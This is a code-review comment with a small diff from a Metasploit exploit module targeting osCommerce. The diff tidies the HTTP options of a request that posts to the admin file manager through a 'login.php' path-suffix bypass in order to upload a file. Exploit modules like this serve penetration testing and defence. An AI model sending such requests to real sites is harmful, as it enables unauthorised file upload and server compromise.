Prefer ctype over headers['Content-Type']

modules/exploits/unix/webapp/oscommerce_filemanager.rb

@@ -79,10 +79,7 @@ class Metasploit3 < Msf::Exploit::Remote
       'uri'	  => normalize_uri(datastore['URI'], "admin/file_manager.php/login.php") + "?action=save",
       'method'  => 'POST',
       'data'    => data,
-      'headers' =>
-      {
-        'Content-Type'	 => 'application/x-www-form-urlencoded',
-      }
+      'ctype'   => 'application/x-www-form-urlencoded'
     }, 3)
 
     # If the upload worked, the server tries to redirect us to some info